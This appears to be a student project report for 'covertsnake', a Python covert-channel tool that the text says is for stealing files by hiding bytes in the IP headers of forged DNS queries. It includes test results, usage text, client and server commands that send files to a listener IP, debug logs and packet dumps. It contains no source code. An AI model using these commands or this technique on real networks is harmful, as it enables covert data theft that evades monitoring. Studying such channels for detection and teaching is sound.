

# covertsnake

Gary. K and Amir. Z

3/27/2022

[Github Link](#)

## Tests

<b>Function</b>	<b>Description</b>	<b>Status</b>	<b>Example</b>
--help function	Help function assists the user on how the program should be used	Passed	<a href="#">Example</a>
Argument Sanatizing	Wrong arguments are ignore and bad areguments are prompted	Passed	<a href="#">Example</a>
Error	An Error is diplayed for wrong inputs	Passed	<a href="#">Example</a>
Local files as input	Local files are accepted and processed	Passed	<a href="#">Example</a>
Run as root Prompt	Prompt that this program must be run as root	Passed	<a href="#">Example</a>
Server mode	same script can be ran as a server or client	Passed	<a href="#">Example</a>
Progress bar	progress bar is shown for the client send file	Passed	<a href="#">Example</a>
Bytes hidden in IP len	information bytes are hidden as a part of IP header	Passed	<a href="#">Example</a>
Forged DNSQR packets	dns quarries are forged for google.com and google.ca	Passed	<a href="#">Example</a>
Library import	Libraries are imported properly	Passed	
Client debug mode	debug mode is available for client	Passed	<a href="#">Example</a>
Server debug mode	debug mode is available for server	Passed	<a href="#">Example</a>
Server rebuilds the file from received bytes	Multiple graph options can be selected and processed	Passed	<a href="#">Example</a>
Name of the input file transfered encoded in base64	first packets sent is the file name to server	Passed	<a href="#">Example</a>

## Examples

--help

```
(d0ntblink@H0rn3d0wl)-[~/Projects/covertsnake/Code]  
$ sudo python covertsnake.py --help
```

covertsnake is a python program made for stealing confidential data or files in IP

header of UDP DNS queries

THIS PROGRAM NEEDS TO BE RAN AS ROOT

Usage:

```
sudo covertsnake.py --server
sudo covertsnake.py --client --ip <server ip> --file <file name in the current
directory>
```

Arguments:

- help: displays this message
- ip: server ip
- file: the name of the file you want to transfer
- server: runs the program in server mode
- client: runs the program in client mode
- debug: enables debug mode must be the first argument

Example:

```
covertsnake.py --server
sudo covertsnake.py --client --file example.pdf --ip 10.0.0.245
```

## Error Prompt

```
(d0ntblink@H0rn3d0wl)-[~/Projects/covertsnake/Code]
$ sudo python covertsnake.py --lol --wrongargum
invalid arguments!!
```

covertsnake is a python program made for stealing confidential data or files in IP header of UDP DNS queries

THIS PROGRAM NEEDS TO BE RAN AS ROOT

Usage:

```
sudo covertsnake.py --server
sudo covertsnake.py --client --ip <server ip> --file <file name in the current
directory>
```

Arguments:

- help: displays this message
- ip: server ip
- file: the name of the file you want to transfer
- server: runs the program in server mode
- client: runs the program in client mode
- debug: enables debug mode must be the first argument

Example:

```
covertsnake.py --server
sudo covertsnake.py --client --file example.pdf --ip 10.0.0.245
```

## Prompt Root

```
(d0ntblink@H0rn3d0w1)-[~/Projects/covertsnake/Code]
└─$ python covertsnake.py
```

Only root can run this program

## Read Local Files

```
(d0ntblink@H0rn3d0w1)-[~/Projects/covertsnake/Data]
└─$ sudo python3 ../Code/covertsnake.py --debug --client --ip 0.0.0.0 --file
example.png
```

2022-03-28 15:39:59,545 : debug mode enabled

2022-03-28 15:39:59,545 : ../Code/covertsnake.py

2022-03-28 15:39:59,546 : --debug

2022-03-28 15:39:59,546 : --client

2022-03-28 15:39:59,546 : --ip

2022-03-28 15:39:59,546 : 0.0.0.0

2022-03-28 15:39:59,546 : --file

2022-03-28 15:39:59,546 : example.png

## Server Mode

```
(d0ntblink@H0rn3d0w1)-[~/Projects/covertsnake/Code]
└─$ sudo python covertsnake.py --server
```

2022-03-28 15:39:40,521 : downloading a new file named b'example.png'

## Progress Bar

```
(d0ntblink@H0rn3d0w1)-[~/Projects/covertsnake/Data]
└─$ sudo python3 ../Code/covertsnake.py --client --ip 0.0.0.0 --file example.txt
Sending Packets...: 21%|██████████|
| 6/28 [00:00<00:01, 12.41 Bytes/s]
```

## Hidden Bytes

Wireshark · Packet 49 · covertsnake.pcap

> Frame 49: 70 bytes on wire (560 bits), 70 bytes captured (560 bits)  
> Ethernet II, Src: Microsof\_9c:e2:46 (00:15:5d:9c:e2:46), Dst: Microsof\_45:fe:de (00:15:5d:45:fe:de)  
✓ Internet Protocol Version 4, Src: 172.24.74.8, Dst: 0.0.0.0  
    0100 .... = Version: 4  
    .... 0101 = Header Length: 20 bytes (5)  
    > Differentiated Services Field: 0x00 (DSCP: CS0, ECN: Not-ECT)  
    ✓ Total Length: 287  
    > [Expert Info (Error/Protocol): IPv4 total length exceeds packet length (56 bytes)]  
    Identification: 0x0001 (1)  
    > Flags: 0x00  
    ...0 0000 0000 0000 = Fragment Offset: 0  
    Time to Live: 64  
    Protocol: UDP (17)  
    Header Checksum: 0x83ad [validation disabled]  
    [Header checksum status: Unverified]  
    Source Address: 172.24.74.8  
    Destination Address: 0.0.0.0  
    > User Datagram Protocol, Src Port: 53, Dst Port: 53  
    Domain Name System (query)  
0010 01 1f 00 01 00 00 40 11 83 ad ac 18 4a 08 00 00 .....@. ....J...  
0020 00 00 00 35 00 35 00 24 f4 7b 00 00 01 00 00 01 ...5.5.\$ .{.....  
0030 00 00 00 00 00 00 06 67 6f 6f 67 6c 65 03 63 6f .....g oogle.co  
0040 6d 00 00 01 00 01 m.....

Close Help

## Forged DNSQR

Wireshark · Packet 49 · covertsnake.pcap

> Frame 49: 70 bytes on wire (560 bits), 70 bytes captured (560 bits)  
> Ethernet II, Src: Microsof\_9c:e2:46 (00:15:5d:9c:e2:46), Dst: Microsof\_45:fe:de (00:15:5d:45:fe:de)  
> Internet Protocol Version 4, Src: 172.24.74.8, Dst: 0.0.0.0  
> User Datagram Protocol, Src Port: 53, Dst Port: 53  
✓ Domain Name System (query)  
    > Transaction ID: 0x0000  
    > Flags: 0x0100 Standard query  
    Questions: 1  
    Answer RRs: 0  
    Authority RRs: 0  
    Additional RRs: 0  
    ✓ Queries  
    > google.com: type A, class IN  
    [Retransmitted request. Original request in: 32]  
    [Retransmission: True]  
0010 01 1f 00 01 00 00 40 11 83 ad ac 18 4a 08 00 00 .....@. ....J...  
0020 00 00 00 35 00 35 00 24 f4 7b 00 00 01 00 00 01 ...5.5.\$ .{.....  
0030 00 00 00 00 00 00 06 67 6f 6f 67 6c 65 03 63 6f .....g oogle.co  
0040 6d 00 00 01 00 01 m.....

Close Help

## Client Debug

```
(d0ntblink@H0rn3d0wl)-[~/Projects/covertsnake/Data]  
$ sudo python3 ../Code/covertsnake.py --debug --client --ip 0.0.0.0 --file  
example.png
```

```
2022-03-28 15:39:59,545 : debug mode enabled
```

```
2022-03-28 15:39:59,545 : ../Code/covertsnake.py

2022-03-28 15:39:59,546 : --debug

2022-03-28 15:39:59,546 : --client

2022-03-28 15:39:59,546 : --ip

2022-03-28 15:39:59,546 : 0.0.0.0

2022-03-28 15:39:59,546 : --file

2022-03-28 15:39:59,546 : example.png

2022-03-28 15:39:59,546 : in client mode

2022-03-28 15:39:59,546 : file name in base64 is b'ZXhhbXBsZS5wbmc='

2022-03-28 15:39:59,750 : sent file name

2022-03-28 15:39:59,764 : read the file to be yanked

Sending Packets...:  0%|
| 0/512596 [00:00<?, ? Bytes/s]
2022-03-28 15:39:59,860 : sent 392 hex byte
```

## Server Debug

```
└─(d0ntblink@H0rn3d0wl)-[~/Projects/covertsnake/Code]
└─$ sudo python covertsnake.py --debug --server

2022-03-28 15:42:13,089 : debug mode enabled

2022-03-28 15:42:13,089 : covertsnake.py

2022-03-28 15:42:13,089 : --debug

2022-03-28 15:42:13,089 : --server

2022-03-28 15:42:13,089 : in server mode
```

2022-03-28 15:42:18,196 : got a new packet

2022-03-28 15:42:18,197 : Ether / IP / UDP / DNS Qry "b'ZXhbbXBsZS50eHQ=.'" "

2022-03-28 15:42:18,198 : downloading a new file named b'ZXhbbXBsZS50eHQ=.'" in  
64bit

2022-03-28 15:42:18,202 : downloading a new file named b'example.txt'

2022-03-28 15:42:18,292 : got a new packet

2022-03-28 15:42:18,292 : Ether / IP / UDP / DNS Qry "b'google.com.'" "

## Server Builds File

```
(d0ntblink@H0rn3d0wl)-[~/Projects/covertsnake/Code]  
└─$ sudo python covertsnake.py --server
```

2022-03-28 15:42:51,961 : downloading a new file named b'example.txt'

2022-03-28 15:42:54,330 : saved a new file

## Name Transfer

2022-03-28 15:42:18,197 : Ether / IP / UDP / DNS Qry "b'ZXhbbXBsZS50eHQ=.'" "

2022-03-28 15:42:18,198 : downloading a new file named b'ZXhbbXBsZS50eHQ=.'" in  
base64

2022-03-28 15:42:18,202 : downloading a new file named b'example.txt'